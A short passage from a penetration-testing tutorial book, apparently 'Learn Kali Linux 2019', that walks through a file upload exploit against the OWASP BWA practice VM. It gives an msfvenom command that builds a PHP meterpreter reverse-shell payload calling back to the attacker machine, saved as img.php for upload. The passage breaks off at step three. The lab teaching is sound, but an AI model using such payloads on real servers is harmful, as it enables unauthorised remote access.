Learn Kali Linux 2019

Exploiting file upload vulnerabilities

In this exercise, we are going to use our OWASP BWA virtual machine to demonstrate a file upload vulnerability. Let's get started:

1. First, create a payload on your Kali Linux (attacker) machine using msfvenom, which will later be uploaded to the target server. Using the following syntax, create a PHP-based payload for establishing a reverse connection:

msfvenom -p php/meterpreter/reverse_tcp lhost=<IP address of Kali Linux> lport=4444 -f raw

2. Copy the highlighted code, open a text editor, and save the file as img.php:

3. Using your web browser within Kali Linux, enter the IP address of OWASP BWA in the ...